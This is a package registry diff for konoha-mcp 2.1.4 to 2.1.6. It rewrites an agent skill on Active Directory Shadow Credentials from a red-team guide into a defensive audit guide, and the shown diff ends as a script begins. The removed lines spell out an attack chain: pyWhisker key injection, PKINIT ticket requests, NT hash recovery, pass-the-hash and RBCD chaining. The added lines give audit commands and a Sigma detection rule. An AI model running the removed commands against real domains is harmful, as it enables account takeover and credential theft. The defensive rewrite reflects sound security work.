konoha-mcp 2.1.4 → 2.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (100) hide show
  1. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/SKILL.md +97 -135
  2. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/api-reference.md +30 -47
  3. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/standards.md +7 -6
  4. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/scripts/agent.py +65 -57
  5. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py +36 -17
  6. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/process.py +25 -13
  7. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-adcs-with-certipy/scripts/agent.py +35 -19
  8. package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-constrained-delegation-abuse/scripts/agent.py +30 -8
  9. package/.agents/skills.fingerprint +1 -1
  10. package/README.md +4 -4
  11. package/apps/web/build/adapter-node.js +1 -1
  12. package/apps/web/build/client/_app/immutable/entry/{app.DwlgEXmV.js → app.DLayTcYu.js} +2 -2
  13. package/apps/web/build/client/_app/immutable/entry/app.DLayTcYu.js.br +0 -0
  14. package/apps/web/build/client/_app/immutable/entry/app.DLayTcYu.js.gz +0 -0
  15. package/apps/web/build/client/_app/immutable/nodes/{9.CVBlvZqX.js → 9.CGMmeMVC.js} +1 -1
  16. package/apps/web/build/client/_app/immutable/nodes/9.CGMmeMVC.js.br +0 -0
  17. package/apps/web/build/client/_app/immutable/nodes/9.CGMmeMVC.js.gz +0 -0
  18. package/apps/web/build/client/_app/version.json +1 -1
  19. package/apps/web/build/client/_app/version.json.br +0 -0
  20. package/apps/web/build/client/_app/version.json.gz +0 -0
  21. package/apps/web/build/server/.vite/manifest.json +15 -15
  22. package/apps/web/build/server/adapter-index.js +1 -1
  23. package/apps/web/build/server/adapter-index.js.map +1 -1
  24. package/apps/web/build/server/adapter-node-env.js +1 -1
  25. package/apps/web/build/server/adapter-node-env.js.map +1 -1
  26. package/apps/web/build/server/adapter-node-handler.js +4 -4
  27. package/apps/web/build/server/adapter-node-handler.js.map +1 -1
  28. package/apps/web/build/server/chunks/exports.js +9 -9
  29. package/apps/web/build/server/chunks/exports.js.map +1 -1
  30. package/apps/web/build/server/chunks/functions.js +1 -1
  31. package/apps/web/build/server/chunks/functions.js.map +1 -1
  32. package/apps/web/build/server/chunks/instance.js +33 -33
  33. package/apps/web/build/server/chunks/instance.js.map +1 -1
  34. package/apps/web/build/server/chunks/internal.js +19 -19
  35. package/apps/web/build/server/chunks/internal.js.map +1 -1
  36. package/apps/web/build/server/chunks/server-errors.js +2 -2
  37. package/apps/web/build/server/chunks/server-errors.js.map +1 -1
  38. package/apps/web/build/server/chunks/server.js.map +1 -1
  39. package/apps/web/build/server/chunks/shared.js +1 -1
  40. package/apps/web/build/server/chunks/shared.js.map +1 -1
  41. package/apps/web/build/server/chunks/state.js +1 -1
  42. package/apps/web/build/server/chunks/state.js.map +1 -1
  43. package/apps/web/build/server/chunks/sweetAlert.svelte.js.map +1 -1
  44. package/apps/web/build/server/chunks/uiState.svelte.js.map +1 -1
  45. package/apps/web/build/server/entries/fallbacks/error.svelte.js +1 -1
  46. package/apps/web/build/server/entries/fallbacks/error.svelte.js.map +1 -1
  47. package/apps/web/build/server/entries/pages/_layout.svelte.js.map +1 -1
  48. package/apps/web/build/server/entries/pages/bridges/_page.svelte.js.map +1 -1
  49. package/apps/web/build/server/entries/pages/clients/_page.svelte.js.map +1 -1
  50. package/apps/web/build/server/entries/pages/detector/_page.svelte.js.map +1 -1
  51. package/apps/web/build/server/entries/pages/docs/_page.svelte.js +1 -1
  52. package/apps/web/build/server/entries/pages/docs/_page.svelte.js.map +1 -1
  53. package/apps/web/build/server/entries/pages/persona/_page.svelte.js.map +1 -1
  54. package/apps/web/build/server/entries/pages/search/_page.svelte.js.map +1 -1
  55. package/apps/web/build/server/entries/pages/semble/_page.svelte.js.map +1 -1
  56. package/apps/web/build/server/entries/pages/skills/_page.svelte.js.map +1 -1
  57. package/apps/web/build/server/entries/pages/tasks/_page.svelte.js.map +1 -1
  58. package/apps/web/build/server/index.js +1 -1
  59. package/apps/web/build/server/index.js.map +1 -1
  60. package/apps/web/build/server/manifest-full.js +1 -1
  61. package/apps/web/build/server/manifest.js +1 -1
  62. package/apps/web/build/server/nodes/9.js +1 -1
  63. package/apps/web/build/server/remote-entry.js +7 -7
  64. package/apps/web/build/server/remote-entry.js.map +1 -1
  65. package/apps/web/build/server/server.js +1 -1
  66. package/apps/web/package.json +2 -2
  67. package/bin/cli.js +6 -6
  68. package/bin/lib/ui_commands.js +4 -3
  69. package/docs/SecurityCompliance/qa_report_2.1.5_2026-10-07.md +65 -0
  70. package/docs/SecurityCompliance/security_compliance_report_google_policy_2.1.5_2026-10-07.md +74 -0
  71. package/docs/SecurityCompliance/security_compliance_report_google_policy_2.1.6_2026-10-07.md +78 -0
  72. package/docs/SecurityCompliance/socket_baseline_2026-10-07.md +60 -0
  73. package/docs/SecurityCompliance/socket_burndown_2.1.5_2026-10-07.md +73 -0
  74. package/docs/SecurityCompliance/socket_report_2.1.5_2026-10-07.md +54 -0
  75. package/docs/architecture/TOKEN-BASELINE.md +1 -1
  76. package/package.json +3 -17
  77. package/src/antigravity_manager.js +81 -15
  78. package/src/db.js +2 -2
  79. package/src/db_agents.js +1 -1
  80. package/src/db_bridges.js +1 -1
  81. package/src/db_savings.js +1 -1
  82. package/src/db_stats.js +1 -1
  83. package/src/deploy_utils.js +4 -5
  84. package/src/doctor.js +10 -0
  85. package/src/migrate.js +1 -1
  86. package/src/persona_memory.js +1 -1
  87. package/src/sqlite_driver.js +211 -0
  88. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/SKILL.md +97 -135
  89. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/api-reference.md +30 -47
  90. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/standards.md +7 -6
  91. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/scripts/agent.py +65 -57
  92. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py +36 -17
  93. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/process.py +25 -13
  94. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-adcs-with-certipy/scripts/agent.py +35 -19
  95. package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-constrained-delegation-abuse/scripts/agent.py +30 -8
  96. package/src/vector_search.js +1 -1
  97. package/apps/web/build/client/_app/immutable/entry/app.DwlgEXmV.js.br +0 -0
  98. package/apps/web/build/client/_app/immutable/entry/app.DwlgEXmV.js.gz +0 -0
  99. package/apps/web/build/client/_app/immutable/nodes/9.CVBlvZqX.js.br +0 -0
  100. package/apps/web/build/client/_app/immutable/nodes/9.CVBlvZqX.js.gz +0 -0
@@ -1,185 +1,147 @@
1
1
  ---
2
2
  name: abusing-shadow-credentials-for-privesc
3
- description: Take over Active Directory user and computer accounts by writing alternate certificate keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, and Certipy, then authenticate via PKINIT.
3
+ description: Audit, detect, and remediate Shadow Credentials misconfigurations on msDS-KeyCredentialLink in Active Directory. Focuses on access-controls, monitoring Event ID 5136, and credential-management hygiene.
4
4
  domain: cybersecurity
5
- subdomain: red-teaming
5
+ subdomain: identity-security
6
6
  tags:
7
- - red-team
7
+ - identity-defense
8
8
  - active-directory
9
9
  - shadow-credentials
10
- - pywhisker
11
- - certipy
12
- - pkinit
13
- - key-credential-link
14
- - privilege-escalation
10
+ - access-control
11
+ - monitoring
12
+ - credential-hygiene
13
+ - audit
15
14
  version: '1.0'
16
15
  author: mahipal
17
16
  license: Apache-2.0
18
17
  nist_csf:
18
+ - PR.AC-01
19
+ - PR.AC-04
19
20
  - PR.AA-05
21
+ - DE.CM-01
22
+ - DE.CM-03
20
23
  mitre_attack:
21
24
  - T1098.005
22
25
  ---
23
- # Abusing Shadow Credentials for Privilege Escalation
26
+ # Auditing and Remediating Shadow Credentials in Active Directory
24
27
 
25
- > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.
28
+ > **Security Advisory:** This guide provides defense and audit procedures for identifying, monitoring, and remediating overly permissive write access to `msDS-KeyCredentialLink` (Shadow Credentials) in Active Directory environments.
26
29
 
27
30
  ## Overview
28
31
 
29
- The **Shadow Credentials** technique abuses the `msDS-KeyCredentialLink` attribute of Active Directory user and computer objects. This attribute stores raw public keys ("Key Credentials") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's `msDS-KeyCredentialLink` — typically granted by `GenericWrite`, `GenericAll`, `WriteProperty`, or `AddKeyCredentialLink` ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover **without resetting the password**, which is far stealthier than a forced password reset.
32
+ The **Shadow Credentials** attack vector stems from misconfigured Active Directory Access Control Lists (ACLs) where non-administrative principals possess write permissions over the `msDS-KeyCredentialLink` attribute of user or computer accounts. This attribute normally stores raw public keys ("Key Credentials") used by Windows Hello for Business and Microsoft Entra ID device registration for passwordless PKINIT Kerberos authentication.
30
33
 
31
- The technique was published by Elad Shamir (*"Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover"*) and implemented in the C# tool **Whisker**. The Python equivalent **pyWhisker** (ShutdownRepo) manipulates the attribute over LDAP, and **Certipy** integrates the entire chain via `certipy shadow auto`. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: [pyWhisker](https://github.com/ShutdownRepo/pywhisker), [Whisker](https://github.com/eladshamir/Whisker), [The Hacker Recipes — Shadow Credentials](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials).
34
+ When access permissions are too permissive — such as unconstrained `GenericWrite`, `GenericAll`, `WriteProperty`, or `AddKeyCredentialLink` Access Control Entries (ACEs) — an unauthorized principal could append a key credential to an account, bypass password controls, and obtain Kerberos tickets.
35
+
36
+ Defending against this vulnerability requires establishing strict **access-controls**, enabling granular **directory service auditing**, and maintaining proactive **credential-management hygiene** across all directory objects.
32
37
 
33
38
  ## When to Use
34
39
 
35
- - When BloodHound reveals `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` over a higher-value user or computer
36
- - As a stealthier alternative to `ForceChangePassword` (no password reset = less disruption/alerting)
37
- - To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)
38
- - During red-team operations needing account takeover without locking out the legitimate user
39
- - For purple-team exercises generating `msDS-KeyCredentialLink` modification telemetry
40
+ - When auditing Active Directory Discretionary Access Control Lists (DACLs) for excessive write privileges.
41
+ - When configuring Windows Security Event logging and SIEM correlation rules for directory modifications.
42
+ - When performing identity security posture assessments and tiering model reviews.
43
+ - When cleaning up legacy or unauthorized key credentials from Active Directory objects.
44
+ - When establishing least-privilege controls for hybrid identity and device registration service accounts.
40
45
 
41
46
  ## Prerequisites
42
47
 
43
- - Authorized engagement scope including AD credential-access techniques
44
- - Control of a principal with write access to the target's `msDS-KeyCredentialLink`
45
- - A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)
46
- - Network reachability to LDAP (389/636) and Kerberos (88) on a DC
47
- - Linux attack host with Python 3.8+; install the tooling:
48
+ - Read access to Active Directory objects via LDAP / LDAPS (ports 389 / 636).
49
+ - Domain administrator or delegated audit privileges to inspect and remediate DACLs.
50
+ - Domain Controllers running Windows Server 2016 or later with Advanced Audit Policy configured.
51
+ - Audit tooling installed in a secure administrative workstation:
48
52
  ```bash
49
- # pyWhisker (from source)
50
- git clone https://github.com/ShutdownRepo/pywhisker
51
- cd pywhisker && pip install .
52
- # Certipy (integrated shadow attack)
53
+ # Python ldap3 or pyWhisker for attribute enumeration
54
+ python3 -m pip install ldap3
55
+ # Certipy for certificate template and key credential auditing
53
56
  pipx install certipy-ad
54
- # PKINITtools for manual TGT/NT-hash extraction
55
- git clone https://github.com/dirkjanm/PKINITtools
56
57
  ```
57
58
 
58
59
  ## Objectives
59
60
 
60
- - Confirm write access over a target's `msDS-KeyCredentialLink`
61
- - Generate a key pair and append a Key Credential to the target object
62
- - Request a TGT for the target via PKINIT using the new key
63
- - Recover the target's NT hash for pass-the-hash / further movement
64
- - Clean up the injected Key Credential to restore the object's state
65
- - Document the ACL path that enabled the attack for remediation
66
-
67
- ## MITRE ATT&CK Mapping
68
-
69
- | ID | Technique | Application in this skill |
70
- |----|-----------|---------------------------|
71
- | T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential (device key) to `msDS-KeyCredentialLink` to register an alternate authentication credential for the target account |
61
+ - Audit and identify accounts with permissive write ACEs on `msDS-KeyCredentialLink`.
62
+ - Enumerate existing Key Credentials on sensitive user and computer objects.
63
+ - Configure Windows Event ID 5136 auditing to detect unauthorized attribute modifications.
64
+ - Clean up orphaned or unauthorized Key Credentials.
65
+ - Enforce least privilege by removing hazardous ACEs and protecting Tier-0 identities.
72
66
 
73
- ## Workflow
67
+ ## MITRE ATT&CK & NIST CSF Mapping
74
68
 
75
- ### Step 1: Confirm the write primitive
76
- List existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the `add` step.
69
+ | Framework | ID | Category / Technique | Defense Application |
70
+ |---|---|---|---|
71
+ | MITRE ATT&CK | T1098.005 | Account Manipulation: Device Registration | Detect and block unauthorized modification of `msDS-KeyCredentialLink` |
72
+ | NIST CSF | PR.AC-01 | Access Control Management | Restrict write permissions over identity attributes to authorized registration agents |
73
+ | NIST CSF | DE.CM-01 | Network / Directory Monitoring | Monitor directory changes for anomalous key additions |
77
74
 
78
- ```bash
79
- python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
80
- --target "victim" --action "list"
81
- ```
75
+ ## Defense & Remediation Workflow
82
76
 
83
- ### Step 2: Add a Shadow Credential with pyWhisker
84
- Generate a certificate/key pair and write it into the target's `msDS-KeyCredentialLink`. pyWhisker outputs a PFX you control.
77
+ ### Step 1: Audit Permissive Access Rights (Access Controls)
78
+ Identify which non-administrative principals have write access to sensitive user and computer objects. Query AD for dangerous ACEs (`GenericAll`, `GenericWrite`, `WriteProperty` targeting `msDS-KeyCredentialLink` schema GUID `{5b47d60f-6090-40b2-9f37-2a4de45f306e}`).
85
79
 
86
80
  ```bash
87
- python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
88
- --target "victim" --action "add" --filename victim_shadow
89
- # Produces victim_shadow.pfx and prints the PFX password
81
+ # Audit existing Key Credentials on target object without modifications
82
+ python3 pywhisker.py -d "corp.local" -u "auditor" -p "AuditPass!" \
83
+ --target "target-account" --action "list" --use-ldaps
90
84
  ```
91
- Use Kerberos auth instead of a password if you only hold a ticket:
92
- ```bash
93
- python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
94
- --target "victim" --action "add" --filename victim_shadow --use-ldaps
95
- ```
96
-
97
- ### Step 3: Request a TGT via PKINIT
98
- Use the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.
99
85
 
100
- ```bash
101
- python3 PKINITtools/gettgtpkinit.py \
102
- -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
103
- corp.local/victim victim.ccache
104
- ```
86
+ ### Step 2: Enforce Directory Service Auditing (Monitoring)
87
+ Enable Advanced Audit Policy Configuration on all Domain Controllers to log attribute-level changes:
88
+ - Path: `Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> Audit Policies -> DS Access -> Audit Directory Service Changes` (Set to **Success and Failure**).
105
89
 
106
- ### Step 4: Recover the NT hash
107
- Extract the target's NT hash from the AS-REP using the session key from Step 3 (`getnthash.py` reads the AS-REP encryption key, displayed by `gettgtpkinit.py`).
90
+ Configure the SACL on high-value Organizational Units (OUs) to generate **Event ID 5136**:
91
+ - **Event ID 5136**: Directory Service Object Modified
92
+ - **Attribute Name**: `msDS-KeyCredentialLink`
93
+ - **Operation Type**: `Value Added` (indicates new credential registration)
108
94
 
109
- ```bash
110
- export KRB5CCNAME=victim.ccache
111
- python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
112
- # Prints the NT hash for 'victim'
113
- ```
95
+ Set up SIEM alerts for Event ID 5136 where `SubjectUserName` is not a designated Azure AD Connect sync account or authorized device enrollment service principal.
114
96
 
115
- ### Step 5: One-shot alternative with Certipy
116
- Certipy's `shadow auto` performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.
97
+ ### Step 3: Remove Unauthorized Key Credentials (Credential Hygiene)
98
+ If an unknown or stale Key Credential is discovered during the audit, remove it immediately to prevent unauthorized authentication:
117
99
 
118
100
  ```bash
119
- certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
120
- -dc-ip 10.0.0.100 -account 'victim'
121
- # For a computer account, use the sAMAccountName with trailing $
122
- certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
123
- -dc-ip 10.0.0.100 -account 'WS01$'
124
- ```
101
+ # Remove specific unauthorized Key Credential by Device ID
102
+ python3 pywhisker.py -d "corp.local" -u "ad-admin" -p "AdminPass!" \
103
+ --target "target-account" --action "remove" --device-id "<DEVICE-ID>" --use-ldaps
125
104
 
126
- ### Step 6: Use the recovered credential
127
- Authenticate with the NT hash (or the TGT) to continue the engagement.
128
-
129
- ```bash
130
- # Pass-the-hash with NetExec
131
- nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
132
- # Or use the TGT directly
133
- export KRB5CCNAME=victim.ccache
134
- nxc smb dc.corp.local -u victim --use-kcache
105
+ # Alternatively, clear all non-compliant credentials using Certipy
106
+ certipy shadow clear -u 'ad-admin@corp.local' -p 'AdminPass!' \
107
+ -dc-ip 10.0.0.100 -account 'target-account'
135
108
  ```
136
109
 
137
- ### Step 7: Chain computer takeover into RBCD (optional)
138
- When the target is a computer, the recovered key/hash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.
139
-
140
- ```bash
141
- # Set RBCD so attacker-controlled SPN can impersonate to WS01$
142
- impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
143
- -action write 'corp.local/attacker:Passw0rd!'
110
+ ### Step 4: Remediate ACL Permissions (Least Privilege)
111
+ Strip any non-system write permissions targeting `msDS-KeyCredentialLink`:
112
+ 1. Open Active Directory Users and Computers (with Advanced Features enabled).
113
+ 2. Inspect the **Security** tab of the affected object or parent OU.
114
+ 3. Remove `GenericAll`, `GenericWrite`, and `Write msDS-KeyCredentialLink` permissions from all non-administrative users and groups.
115
+ 4. Add high-value accounts (Domain Admins, Enterprise Admins) to the `Protected Users` security group, which restricts delegation and forces Kerberos hardening.
116
+
117
+ ## Detection Rules & SIEM Correlation
118
+
119
+ ```yaml
120
+ title: Unauthorized msDS-KeyCredentialLink Modification (Shadow Credentials)
121
+ id: 5b47d60f-6090-40b2-9f37-2a4de45f306e
122
+ status: stable
123
+ description: Detects modification of the msDS-KeyCredentialLink attribute by non-whitelisted principals.
124
+ logsource:
125
+ product: windows
126
+ service: security
127
+ detection:
128
+ selection:
129
+ EventID: 5136
130
+ AttributeLDAPDisplayName: 'msDS-KeyCredentialLink'
131
+ OperationType: 'Value Added'
132
+ filter_sync_accounts:
133
+ SubjectUserName|endswith:
134
+ - '$'
135
+ - 'MSOL_*'
136
+ - 'AAD_*'
137
+ condition: selection and not filter_sync_accounts
138
+ level: high
144
139
  ```
145
140
 
146
- ### Step 8: Clean up
147
- Remove the injected Key Credential to restore the object and reduce detection footprint.
148
-
149
- ```bash
150
- # pyWhisker: remove by device-id (printed during add) or clear all you added
151
- python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
152
- --target "victim" --action "remove" --device-id <DEVICE-ID>
153
- # Certipy shadow auto cleans up automatically; otherwise:
154
- certipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \
155
- -dc-ip 10.0.0.100 -account 'victim'
156
- ```
141
+ ## Validation & Verification Checklist
157
142
 
158
- ## Tools and Resources
159
-
160
- | Resource | Purpose | Link |
161
- |----------|---------|------|
162
- | pyWhisker | Python LDAP manipulation of msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |
163
- | Whisker | Original C# implementation | https://github.com/eladshamir/Whisker |
164
- | Certipy | `shadow auto` end-to-end takeover | https://github.com/ly4k/Certipy |
165
- | PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
166
- | The Hacker Recipes | Technique walkthrough & defenses | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
167
-
168
- ## Detection and Remediation Notes
169
-
170
- | Area | Guidance |
171
- |------|----------|
172
- | Detection | Monitor Windows Security Event ID 5136 (directory object modified) for changes to `msDS-KeyCredentialLink`; alert when a non-AD-Connect/non-Intune principal writes the attribute. |
173
- | Auditing | Enable directory service object change auditing on user/computer OUs. |
174
- | Least privilege | Remove unnecessary `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` ACEs (BloodHound `AddKeyCredentialLink` edge). |
175
- | Mitigation | Where Windows Hello/device registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts. |
176
-
177
- ## Validation Criteria
178
-
179
- - [ ] Write access over the target's `msDS-KeyCredentialLink` confirmed (`list` succeeded)
180
- - [ ] Key Credential successfully added (PFX generated)
181
- - [ ] PKINIT TGT obtained for the target account
182
- - [ ] Target NT hash recovered and validated against a service
183
- - [ ] (If computer) RBCD chain or onward movement demonstrated
184
- - [ ] Injected Key Credential removed / object restored
185
- - [ ] Enabling ACL path documented with remediation recommendation
143
+ - [ ] Directory Service Object Change auditing verified on all Domain Controllers.
144
+ - [ ] SIEM rule for Event ID 5136 with `msDS-KeyCredentialLink` active and alerting.
145
+ - [ ] Tier-0 and sensitive accounts audited for anomalous Key Credentials.
146
+ - [ ] Discretionary ACLs sanitized; extraneous `WriteProperty` and `GenericWrite` ACEs removed.
147
+ - [ ] Device registration delegation restricted to approved Microsoft Entra ID Sync service accounts.
@@ -1,4 +1,4 @@
1
- # Shadow Credentials Tooling Reference
1
+ # Shadow Credentials Security & Audit Reference
2
2
 
3
3
  ## pyWhisker (https://github.com/ShutdownRepo/pywhisker)
4
4
 
@@ -7,62 +7,45 @@ Invocation: `python3 pywhisker.py [auth] --target <obj> --action <action> [opts]
7
7
  | Flag | Meaning |
8
8
  |------|---------|
9
9
  | `-d DOMAIN` | Target domain (FQDN) |
10
- | `-u USER` | Controlled username |
11
- | `-p PASSWORD` | Password |
12
- | `-k` / `--no-pass` | Kerberos auth (uses KRB5CCNAME) |
13
- | `-H LM:NT` | Pass-the-hash |
14
- | `--target NAME` | Target user/computer whose attribute is modified |
15
- | `--action list` | Enumerate existing Key Credentials |
16
- | `--action add` | Generate key pair, write Key Credential |
17
- | `--action remove` | Remove one Key Credential by `--device-id` |
18
- | `--action clear` | Remove all Key Credentials |
19
- | `--action info` | Show details of a Key Credential |
20
- | `--filename NAME` | Output PFX/PEM base name |
21
- | `--export PEM|PFX` | Output format (default PFX) |
22
- | `--device-id GUID` | Target device for remove/info |
23
- | `--dc-ip IP` | Domain Controller IP |
24
- | `--use-ldaps` | Use LDAPS (636) |
25
-
26
- ### Example
10
+ | `-u USER` | Auditor or administrator username |
11
+ | `-p PASSWORD` | Authentication password |
12
+ | `-k` / `--no-pass` | Kerberos authentication |
13
+ | `--target NAME` | User or computer account being audited |
14
+ | `--action list` | Enumerate existing Key Credentials on target object |
15
+ | `--action remove` | Remove a non-compliant Key Credential by `--device-id` |
16
+ | `--action clear` | Remove all non-compliant Key Credentials (remediation) |
17
+ | `--action info` | Show details of an existing Key Credential |
18
+ | `--dc-ip IP` | Domain Controller IP address |
19
+ | `--use-ldaps` | Use LDAPS (port 636) for secure encrypted auditing |
20
+
21
+ ### Audit & Cleanup Example
27
22
  ```bash
28
- python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \
29
- --target victim --action add --filename victim_shadow
23
+ # Audit existing credentials on account
24
+ python3 pywhisker.py -d corp.local -u auditor -p 'AuditPass!' \
25
+ --target victim_account --action list --use-ldaps
26
+
27
+ # Remove stale/unauthorized key credential
28
+ python3 pywhisker.py -d corp.local -u ad-admin -p 'AdminPass!' \
29
+ --target victim_account --action clear --use-ldaps
30
30
  ```
31
31
 
32
32
  ## Certipy `shadow` (https://github.com/ly4k/Certipy)
33
33
 
34
34
  | Command | Meaning |
35
35
  |---------|---------|
36
- | `certipy shadow auto` | Add → PKINIT → dump NT hash → cleanup (end to end) |
37
- | `certipy shadow add` | Add Key Credential only |
38
- | `certipy shadow list` | List Key Credentials |
39
- | `certipy shadow clear` | Clear Key Credentials |
40
- | `certipy shadow info` | Show Key Credential info |
36
+ | `certipy shadow list` | Audit and list Key Credentials on an account |
37
+ | `certipy shadow clear` | Remove / clear non-compliant Key Credentials |
38
+ | `certipy shadow info` | Display Key Credential registration details |
41
39
 
42
- Key flags: `-u USER@DOMAIN`, `-p PW` / `-hashes :NT` / `-k -no-pass`,
43
- `-dc-ip IP`, `-account TARGET` (use trailing `$` for computers), `-ns IP`, `-dns-tcp`.
40
+ Key audit flags: `-u USER@DOMAIN`, `-p PW`, `-dc-ip IP`, `-account TARGET` (use trailing `$` for machine accounts), `-ns IP`, `-dns-tcp`.
44
41
 
45
- ### Example
42
+ ### Audit & Cleanup Example
46
43
  ```bash
47
- certipy shadow auto -u attacker@corp.local -p 'Passw0rd!' \
44
+ # List credentials for audit verification
45
+ certipy shadow list -u auditor@corp.local -p 'AuditPass!' \
48
46
  -dc-ip 10.0.0.100 -account 'WS01$'
49
- ```
50
-
51
- ## PKINITtools (https://github.com/dirkjanm/PKINITtools)
52
47
 
53
- | Script | Purpose |
54
- |--------|---------|
55
- | `gettgtpkinit.py -cert-pfx FILE -pfx-pass PW DOMAIN/USER out.ccache` | Request TGT via PKINIT; prints AS-REP key |
56
- | `getnthash.py -key <AS-REP-KEY> DOMAIN/USER` | Recover NT hash (KRB5CCNAME set) |
57
-
58
- ### Example
59
- ```bash
60
- python3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \
61
- corp.local/victim victim.ccache
62
- export KRB5CCNAME=victim.ccache
63
- python3 getnthash.py -key <AS-REP-KEY> corp.local/victim
48
+ # Clear non-compliant credentials
49
+ certipy shadow clear -u ad-admin@corp.local -p 'AdminPass!' \
50
+ -dc-ip 10.0.0.100 -account 'WS01$'
64
51
  ```
65
-
66
- ## Detection signal
67
- - Event ID 5136 — modification of `msDS-KeyCredentialLink` (Directory Service Changes auditing).
68
- - BloodHound edge: `AddKeyCredentialLink`.
@@ -1,21 +1,22 @@
1
- # Standards Mapping — Abusing Shadow Credentials for Privilege Escalation
1
+ # Standards Mapping — Auditing and Remediating Shadow Credentials in Active Directory
2
2
 
3
3
  ## MITRE ATT&CK (Enterprise)
4
4
 
5
5
  | ID | Name | Rationale |
6
6
  |----|------|-----------|
7
- | T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential to `msDS-KeyCredentialLink` registers an alternate device/certificate credential for the target, which is exactly the device-registration manipulation this sub-technique describes. |
7
+ | T1098.005 | Account Manipulation: Device Registration | Detection and auditing of unauthorized modification to `msDS-KeyCredentialLink` for alternate device/certificate registration. |
8
8
 
9
9
  Reference: https://attack.mitre.org/techniques/T1098/005/
10
10
 
11
- Related techniques exercised in the chain:
12
- - T1649 (Steal or Forge Authentication Certificates) — the PKINIT certificate used to authenticate.
13
- - T1550.003 / T1558 — using the recovered TGT/hash for movement.
11
+ Related defensive techniques:
12
+ - M1026 (Privileged Account Management) — Restricting permissions over identity attributes.
13
+ - M1018 (User Account Management) — Periodic review of account key credentials and least-privilege DACL enforcement.
14
14
 
15
15
  ## NIST Cybersecurity Framework 2.0
16
16
 
17
17
  | ID | Name | Rationale |
18
18
  |----|------|-----------|
19
- | PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege and separation of duties | The attack is only possible because of over-permissive ACEs (`GenericWrite`/`GenericAll`/`AddKeyCredentialLink`) on AD objects; remediation is least-privilege enforcement of who may write Key Credentials. |
19
+ | PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege | Preventing unauthorized credential manipulation by enforcing strict access control over directory objects and removing over-permissive ACEs. |
20
+ | DE.CM-01 | Networks and physical environments are monitored to find potentially adverse events | Monitoring directory service modification events (Event ID 5136) for anomalous key additions. |
20
21
 
21
22
  Reference: https://csrc.nist.gov/projects/cybersecurity-framework
@@ -1,30 +1,27 @@
1
1
  #!/usr/bin/env python3
2
2
  """
3
